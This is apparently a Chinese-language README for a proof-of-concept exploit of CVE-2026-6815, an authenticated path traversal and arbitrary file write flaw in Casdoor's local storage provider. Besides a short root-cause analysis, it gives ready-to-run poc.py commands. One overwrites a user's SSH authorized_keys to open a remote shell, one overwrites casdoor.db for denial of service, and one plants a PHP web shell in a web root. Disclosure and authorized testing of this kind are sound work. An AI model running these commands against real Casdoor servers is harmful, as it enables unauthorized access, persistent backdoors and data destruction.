本仓库包含针对 CVE-2026-6815 的概念验证(PoC)利用代码,该漏洞是 Casdoor 中的一个任意文件写入与路径遍历漏洞。
攻击者必须通过管理员权限或同等权限的用户账户认证到 Casdoor 实例,且该账户具有创建和/或编辑存储提供商的权限。
.ssh/authorized_keys、crontab 或 Web 根目录。casdoor.db)或核心二进制文件,可立即停止应用程序运行。Casdoor 允许管理员配置存储提供商。本地文件系统(Local File System)提供商在资源上传期间未能正确清理 pathPrefix 配置和 fullFilePath 参数。
通过使用目录遍历序列(../),已认证的管理员可以逃逸专用存储目录,并在 Casdoor 进程具有权限的任何位置写入文件。
该漏洞源于以下位置中路径验证不充分:
object/provider.go:在创建/更新期间未对 pathPrefix 进行验证。storage/local_file_system.go:GetFullPath 方法未验证解析后的路径是否仍位于预期的沙箱之内。安装依赖:
pip install -r requirements.txt
运行利用代码:
python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
将攻击者控制的公钥写入 casdoor 用户的 authorized_keys 文件,以获得 SSH 访问权限。
生成 SSH 密钥:
ssh-keygen -f casdoor_rce
用生成的公钥覆盖 authorized_keys:
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
使用私钥在远程主机上获取 SSH shell:
ssh -i ./casdoor_rce casdoor@target
覆盖应用程序的本地数据库文件(例如 casdoor.db)以造成拒绝服务。
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
如果服务器在同一文件系统上托管辅助 Web 服务器(例如 Apache/Nginx),则可将 Web Shell 写入其文档根目录。
python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
如果您拥有特定组织和应用程序(而非默认的 built-in 和 app-built-in)的管理员凭据,请使用 --orgname 和 --appname 指定它们。
python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
本软件仅用于教育目的和授权的安全测试。作者不对任何滥用此信息的行为负责。
漏洞发现及 PoC 开发:Danilo Dell'Orco(sixpain)。